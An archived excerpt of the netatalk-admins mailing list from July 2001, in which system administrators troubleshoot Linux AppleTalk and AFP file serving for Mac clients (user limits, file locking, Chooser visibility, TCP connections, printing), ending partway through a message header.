Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA16255
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 20:40:21 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f6H0eJk17727
	for <netatalk-admins@umich.edu>; Tue, 17 Jul 2001 02:40:20 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f6H0e1r27807
	for netatalk-admins@umich.edu; Tue, 17 Jul 2001 02:40:01 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.22 #1 (Debian))
	id 15MInG-0000Q1-00; Tue, 17 Jul 2001 02:32:54 +0200
Date: Tue, 17 Jul 2001 02:32:53 +0200
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
Message-ID: <20010717023253.A1560@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu,
	netatalk-devel@lists.sourceforge.net
References: <20010716175153.X65896-100000@shumai.marcuscom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20010716175153.X65896-100000@shumai.marcuscom.com>
User-Agent: Mutt/1.3.18i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Mon, Jul 16, 2001 at 05:52:45PM -0400, Joe Clarke wrote:

> Should we put the webpage in CVS?  We can track things that way.  I have
> no problem doing it that way.  We already have commit access.

I think it belongs into CVS. This way, other developers can also fix
things, even if they don't work on the web pages, normally. Also, it
has the usual advantages of CVS.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Mon Jul 16 21:09:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA04348
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 21:09:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA10950
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 21:09:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA10937
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 21:09:22 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA10866
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 21:09:18 -0400 (EDT)
Received: (qmail 32031 invoked from network); 17 Jul 2001 21:10:34 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 17 Jul 2001 21:10:34 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Kevin M. Myer'" <kevin_myer@iu13.k12.pa.us>
Cc: <netatalk-admins@umich.edu>
Subject: RE: netatalk & quark 4.1 sort of solved
Date: Tue, 17 Jul 2001 11:08:32 +1000
Message-ID: <000e01c10e5c$ffc18fe0$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <Pine.LNX.4.33.0107161250120.2330-100000@pegmatite.iu13.k12.pa.us>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

wrong - files are still locked - if a user has a file open, another user
can't open/move the same file. (yes i've tested it!). It looks it for samba
too (ie. a samba user can't move a file that a mac person has open).

unfortunately for us, quark is a huge priority - it's pretty much the only
program that's used beside photoshop & dreamweaver. Interestingly, photoshop
exibits some of the same problems as quark, but not as severly.

Thanks though - it's been a long and painful path to something useful.

Do you have any grief with network trash?

Cheers,

Chris


From netatalk.administrators-errors@umich.edu  Tue Jul 17 09:51:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA20501
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Jul 2001 09:51:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA10465
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Jul 2001 09:51:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10452
	for netatalk.administrators-members@umich.edu; Tue, 17 Jul 2001 09:51:31 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA10419
	for <netatalk-admins@umich.edu>; Tue, 17 Jul 2001 09:51:29 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GGMEI200.HHP for <netatalk-admins@umich.edu>; Tue, 17
          Jul 2001 15:51:38 +0200 
Sender: hollow@fcb-wilkens.com
Message-ID: <3B5442EA.56AD5163@fcb-wilkens.com>
Date: Tue, 17 Jul 2001 15:51:38 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: netatalk 1.4.99 ignoring AFPD_MAX_USERS in /etc/atalk/netatalk.conf
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Greetings, all.

This is on a Redhat 7 box, and everything else is running smoothly. But right now,
I cannot have more than 20 users connect to our file server (I have about 200
clients to serve). I have set AFPD_MAX_USERS to 200, but this didn't change a
thing. Obviously, this does not help people to adopt to the new fileserver.

I could easily recompile with a higher default limit, but I would want to avoid
it. 

Is there anything else that needs to be taken care of if I want to set the user
limit to a reasonable value (for this business, that is)?

Regards,
	Harald
-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Tue Jul 17 12:04:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA24476
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Jul 2001 12:04:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA17377
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Jul 2001 12:04:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA17368
	for netatalk.administrators-members@umich.edu; Tue, 17 Jul 2001 12:04:47 -0400 (EDT)
Received: from mail.lateral.net ([195.224.94.178])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA17321
	for <netatalk-admins@umich.edu>; Tue, 17 Jul 2001 12:04:46 -0400 (EDT)
From: jim@lateral.net
Received: from lat-132.lateral.net ([195.224.188.132] helo=localhost)
	by mail.lateral.net with esmtp (Exim 2.02 #1)
	id 15MXKg-0005Nf-00
	for netatalk-admins@umich.edu; Tue, 17 Jul 2001 17:04:22 +0100
Date: Tue, 17 Jul 2001 17:02:51 +0000
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Mime-Version: 1.0 (Apple Message framework v388)
To: netatalk-admins@umich.edu
X-Mailer: Apple Mail (2.388)
Content-Transfer-Encoding: 7bit
Subject: Heterogeneous File and Printing
Message-Id: <E15MXKg-0005Nf-00@mail.lateral.net>

Hi

I hope you can help a inexperienced netatalk admin I have recently being 
employed to perform admin duties on a Heath Robinson network containing 
30 Macs, iMacs, G3/G4 OS 9 and OS X, half a dozen 95, 98, ME machines 3 
Windows 2000 professional boxes and a variable number of Linux/BSD 
clients used as "toys".  I am trying to rationalize our services.

My 2 main problems to date are file and print services Our current 
server is Red Hat 6.2 with a 2.2.12 kernel it is horribly unstable and 
all of the above machines have problems at times getting and holding a 
connection.  I intend to replace it with Debian Potato and install the 
latest netatalk module which I hope will help.  The second problem is 
printing currently we are using ACITS but this is incompatible with 
Windows 2000.  I am thinking of replacing this with CUPS am I right in 
thinking this will solve most of my problems?

I hope this will help you to help me any advise would be gratefully 
received even if it is RTFM here, here and here.

Thanks Jim

From netatalk.administrators-errors@umich.edu  Tue Jul 17 17:15:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05533
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Jul 2001 17:15:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA02386
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Jul 2001 17:15:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA02378
	for netatalk.administrators-members@umich.edu; Tue, 17 Jul 2001 17:15:12 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA02348
	for <netatalk-admins@umich.edu>; Tue, 17 Jul 2001 17:15:11 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id XAA12564;
	Tue, 17 Jul 2001 23:13:50 +0200
Message-ID: <3B54AA8E.B71CB7BC@euc.de>
Date: Tue, 17 Jul 2001 23:13:51 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Harald Wagener <hwagener@fcb-wilkens.com>
CC: netatalk-admins@umich.edu
Subject: Re: netatalk 1.4.99 ignoring AFPD_MAX_USERS in /etc/atalk/netatalk.conf
References: <3B5442EA.56AD5163@fcb-wilkens.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA05533

hmm

why don't you start afpd with parameter -c 200 ??

Harald Wagener wrote:
> 
> Greetings, all.
> 
> This is on a Redhat 7 box, and everything else is running smoothly. But right now,
> I cannot have more than 20 users connect to our file server (I have about 200
> clients to serve). I have set AFPD_MAX_USERS to 200, but this didn't change a
> thing. Obviously, this does not help people to adopt to the new fileserver.
> 
> I could easily recompile with a higher default limit, but I would want to avoid
> it.
> 
> Is there anything else that needs to be taken care of if I want to set the user
> limit to a reasonable value (for this business, that is)?
> 
> Regards,
>         Harald
> --
> Harald Wagener      |                                Systemadministrator
> FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252
> An der Alster 42    |                              Fax.:+49-40-2881-1263
> 20099 Hamburg       |                         http://www.fcb-wilkens.com

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Tue Jul 17 23:59:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA16474
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 17 Jul 2001 23:59:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id XAA18969
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 17 Jul 2001 23:59:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA18953
	for netatalk.administrators-members@umich.edu; Tue, 17 Jul 2001 23:59:15 -0400 (EDT)
Received: from skyvan.apmedia.com.sg (www.apmedia.com.sg [202.172.234.86])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA18906
	for <netatalk-admins@umich.edu>; Tue, 17 Jul 2001 23:59:13 -0400 (EDT)
Received: from des (ad202.166.73.41.magix.com.sg [202.166.73.41])
	by skyvan.apmedia.com.sg (8.10.1/8.10.1) with SMTP id f6I3wRt22470
	for <netatalk-admins@umich.edu>; Wed, 18 Jul 2001 11:58:28 +0800
From: "Desmond Lim" <desmond@kikuze.com>
To: <netatalk-admins@umich.edu>
Subject: Server not appearing in Chooser
Date: Wed, 18 Jul 2001 11:54:46 +0800
Message-ID: <NFBBLLPFCLKHPHNHNAFDGEIDCAAA.desmond@kikuze.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200

Hello everyone,

I have 2 questions about netatalk at the moment:

1) When I open Chooser from a MAC OS 8.5 machine, the Linux server named
"chino" is not there. I had to type in the IP address of the Linux server to
get connected. Is there anyway to make the server name appear in the Chooser
directly?

2) This is the scenerio. For example, I have a share called "Yuppies" on the
server. When a user connects to the server, the user selects the share
"Yuppies". But somehow or rather the connection is always made to the home
directory first even though it is not selected. The user had to reconnect to
the server and select the share "Yuppies" again before he can successfully
connect to this share. Is there anyway to connect to the selected share only
without touching the home directory?

warmest regards,

Desmond Lim
System Administrator
http://www.kikuze.com/

A&P Co-ordinator Pte Ltd
6 Aljunied Ave 3 #01-02
Singapore 389932

Tel: 7460188#322
Fax: 7462550
HP: 94525736



From netatalk.administrators-errors@umich.edu  Wed Jul 18 06:22:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA24788
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Jul 2001 06:22:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id GAA26957
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Jul 2001 06:22:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA26949
	for netatalk.administrators-members@umich.edu; Wed, 18 Jul 2001 06:22:04 -0400 (EDT)
Received: from orange.csi.cam.ac.uk (orange.csi.cam.ac.uk [131.111.8.77])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA26929
	for <netatalk-admins@umich.edu>; Wed, 18 Jul 2001 06:22:03 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by orange.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 15MoSx-0005PN-00
	for netatalk-admins@umich.edu; Wed, 18 Jul 2001 11:22:03 +0100
Date: Wed, 18 Jul 2001 11:22:03 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@orange.csi.cam.ac.uk>
To: <netatalk-admins@umich.edu>
Subject: Appletalk connection ONLY?
Message-ID: <Pine.SOL.4.33.0107181058330.15646-100000@orange.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Dear Netatalk Users,

I appear to only be able to connect by AppleTalk. Any attempt to connect
by TCP/IP gives the error "No response from the server". Could someone
help me with this. I believe my TCP wrappers are OK as they work no an
rpm-netatalk installed machine. atalk/afpd.conf is default.
/etc/rc.d/init.d/atalk was copied from distrib/initscripts/atalk.

All the best,

Ian.

netatalk-1.5pre6.tar.gz
RedHat 7.1 kernel 2.4.2-2

cat /etc/services | grep 548
afpovertcp      548/tcp                         # AFP over TCP
afpovertcp      548/udp                         # AFP over TCP

./configure
--prefix=/usr/local/netatalk \
--sysconfdir=/etc/atalk \
--with-config-dir=/etc/atalk \
--with-tcp-wrappers \
--mandir=/usr/local/man \
--with-ssl-dir=/usr/include/openssl \
--disable-admin-group \
--with-shadow \
--with-pam \
--enable-lastdid \
--with-flock-locks \
--enable-redhat

Jul 18 10:56:49 dellboy2 atalkd[723]: restart (1.5pre6)
Jul 18 10:56:50 dellboy2 atalkd[723]: zip_getnetinfo for eth0
Jul 18 10:56:51 dellboy2 atalkd[723]: zip_packet configured eth0 from
100.227
Jul 18 10:56:58 dellboy2 atalkd[723]: rtmp_packet gateway 100.227 up
Jul 18 10:57:19 dellboy2 atalkd[723]: ready 0/0/0
Jul 18 10:57:19 dellboy2 atalk: atalkd startup succeeded
Jul 18 10:57:31 dellboy2 papd[733]: restart (1.5pre6)
Jul 18 10:57:31 dellboy2 atalk: papd startup succeeded
Jul 18 10:57:31 dellboy2 atalk: afpd startup succeeded
Jul 18 10:57:37 dellboy2 afpd[738]: Zing:AFPServer@* started on 109.14:128
(1.5pre6)
Jul 18 10:57:37 dellboy2 afpd[738]: ASIP started on 131.111.147.52:548(1)
(1.5pre6)
Jul 18 10:57:37 dellboy2 afpd[738]: uam: uams_guest.so loaded
Jul 18 10:57:37 dellboy2 afpd[738]: uam: uams_clrtxt.so loaded
Jul 18 10:57:37 dellboy2 afpd[738]: uam: uams_dhx.so loaded
Jul 18 10:57:37 dellboy2 afpd[738]: uam: "DHCAST128" available
Jul 18 10:57:37 dellboy2 afpd[738]: uam: "Cleartxt Passwrd" available
Jul 18 10:57:37 dellboy2 afpd[738]: uam: "No User Authent" available

Jul 18 11:19:26 dellboy2 afpd[904]: session from 106.215:249 on 109.14:129
Jul 18 11:19:26 dellboy2 afpd[904]: dhx login: ian
Jul 18 11:19:26 dellboy2 afpd[904]: uams_dhx_pam.c :PAM: PAM Success -- No
such file or directory
Jul 18 11:19:26 dellboy2 PAM_pwdb[904]: (netatalk) session opened for user
ian by (uid=0)
Jul 18 11:19:26 dellboy2 afpd[904]: uams_dhx_pam.c :PAM: PAM Auth OK!:
(null) -- Inappropriate ioctl for device
Jul 18 11:19:26 dellboy2 afpd[904]: login ian (uid 500, gid 500


From netatalk.administrators-errors@umich.edu  Wed Jul 18 10:59:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00924
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Jul 2001 10:59:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA27154
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Jul 2001 10:59:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA27139
	for netatalk.administrators-members@umich.edu; Wed, 18 Jul 2001 10:59:17 -0400 (EDT)
Received: from leebert.gsfc.nasa.gov (leebert.gsfc.nasa.gov [128.183.33.38])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA27117
	for <netatalk-admins@umich.edu>; Wed, 18 Jul 2001 10:59:16 -0400 (EDT)
Received: (from lsherida@localhost)
	by leebert.gsfc.nasa.gov (SGI-8.9.3/8.9.3) id KAA73840
	for netatalk-admins@umich.edu; Wed, 18 Jul 2001 10:59:16 -0400 (EDT)
Date: Wed, 18 Jul 2001 10:59:15 -0400
From: Lee Sheridan <lsherida@nccs.gsfc.nasa.gov>
To: netatalk-admins@umich.edu
Subject: Re: Heterogeneous File and Printing
Message-ID: <20010718105915.H42962@leebert.gsfc.nasa.gov>
References: <E15MXKg-0005Nf-00@mail.lateral.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E15MXKg-0005Nf-00@mail.lateral.net>; from jim@lateral.net on Tue, Jul 17, 2001 at 05:02:51PM +0000
Organization: NASA/Goddard Space Flight Center

On Tue, Jul 17, 2001 at 05:02:51PM +0000, jim@lateral.net wrote:
  
> latest netatalk module which I hope will help.  The second problem is
> printing currently we are using ACITS but this is incompatible with
> Windows 2000.  I am thinking of replacing this with CUPS am I right in
> thinking this will solve most of my problems?
  
You do realize that Windows 2000 has built-in LPR support, and there is no
need for a third-party LPR client?  I forget exactly where but if you look
through the Add/Remove Windows components list somewhere you will see
"Print services for UNIX" (which also installs an LPR client)
  

-- 
Lee Sheridan                            301.286.5898 voice
NASA / Goddard Space Flight Center      lsherida@nccs.gsfc.nasa.gov
Computer Sciences Corporation           Building 28, Room S241
Code 931
 
"Some people without brains do an awful lot of talking, don't they?"
                                           -- Scarecrow, The Wizard of Oz

From netatalk.administrators-errors@umich.edu  Wed Jul 18 11:17:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA01514
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Jul 2001 11:17:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA27118
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Jul 2001 11:17:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA27105
	for netatalk.administrators-members@umich.edu; Wed, 18 Jul 2001 11:17:25 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA27079
	for <netatalk-admins@umich.edu>; Wed, 18 Jul 2001 11:17:24 -0400 (EDT)
Received: from ns08-n66-189.de.inter.net ([213.73.66.189] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15Mt4l-0002jb-00
	for netatalk-admins@umich.edu; Wed, 18 Jul 2001 17:17:23 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id QAA05602
	for <netatalk-admins@umich.edu>; Wed, 18 Jul 2001 16:43:35 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Appletalk connection ONLY?
Date: Wed, 18 Jul 2001 16:41:13 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.SOL.4.33.0107181058330.15646-100000@orange.csi.cam.ac.uk>
In-Reply-To: <Pine.SOL.4.33.0107181058330.15646-100000@orange.csi.cam.ac.uk>
MIME-Version: 1.0
Message-Id: <01071816433500.21182@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA01514

On Wed, 18 Jul 2001, Ian Hitchman wrote:
> Dear Netatalk Users,
> 
> I appear to only be able to connect by AppleTalk. Any attempt to connect
> by TCP/IP gives the error "No response from the server". Could someone
> help me with this. I believe my TCP wrappers are OK as they work no an
> rpm-netatalk installed machine. atalk/afpd.conf is default.
> /etc/rc.d/init.d/atalk was copied from distrib/initscripts/atalk.
> 
> All the best,
> 
> Ian.

It seems you haven't enabled TCP connections in your /etc/atalk/afpd.conf.
It is explained in this file.

HTH

Best regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Jul 18 11:17:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA01530
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Jul 2001 11:17:27 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA20882
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Jul 2001 11:17:15 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA20869
	for netatalk.administrators-members@umich.edu; Wed, 18 Jul 2001 11:17:14 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA20833
	for <netatalk-admins@umich.edu>; Wed, 18 Jul 2001 11:17:13 -0400 (EDT)
Received: from ns08-n66-189.de.inter.net ([213.73.66.189] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15Mt4m-0002jb-00
	for netatalk-admins@umich.edu; Wed, 18 Jul 2001 17:17:24 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id RAA05699
	for <netatalk-admins@umich.edu>; Wed, 18 Jul 2001 17:16:26 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Server not appearing in Chooser
Date: Wed, 18 Jul 2001 16:43:41 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <NFBBLLPFCLKHPHNHNAFDGEIDCAAA.desmond@kikuze.com>
In-Reply-To: <NFBBLLPFCLKHPHNHNAFDGEIDCAAA.desmond@kikuze.com>
MIME-Version: 1.0
Message-Id: <01071817162601.21182@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA01530

On Wed, 18 Jul 2001, Desmond Lim wrote:
> Hello everyone,
> 
> I have 2 questions about netatalk at the moment:
> 
> 1) When I open Chooser from a MAC OS 8.5 machine, the Linux server named
> "chino" is not there. I had to type in the IP address of the Linux server to
> get connected. Is there anyway to make the server name appear in the Chooser
> directly?

Have you properly setup netatalk for DDP connections?
I think DDP is still necessary for NBP.
Are the DDP ports in your /etc/services?
What does netatalk write into your /var/log/messages when it starts up?
What does `nbplkup' on your linux-box tell?

> 
> 2) This is the scenerio. For example, I have a share called "Yuppies" on the
> server. When a user connects to the server, the user selects the share
> "Yuppies". But somehow or rather the connection is always made to the home
> directory first even though it is not selected. The user had to reconnect to
> the server and select the share "Yuppies" again before he can successfully
> connect to this share. Is there anyway to connect to the selected share only
> without touching the home directory?

What do you call a "share"?
If you want to make a directory accessible for all users you have to put it into your
AppleVolumes.default.
Then you can select it directly from a volumes list after you've logged in.

> 
> warmest regards,
> 
> Desmond Lim
> System Administrator
> http://www.kikuze.com/
> 
> A&P Co-ordinator Pte Ltd
> 6 Aljunied Ave 3 #01-02
> Singapore 389932
> 
> Tel: 7460188#322
> Fax: 7462550
> HP: 94525736

Best regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Jul 18 12:59:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA03971
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Jul 2001 12:59:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA09538
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Jul 2001 12:59:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA09516
	for netatalk.administrators-members@umich.edu; Wed, 18 Jul 2001 12:59:31 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
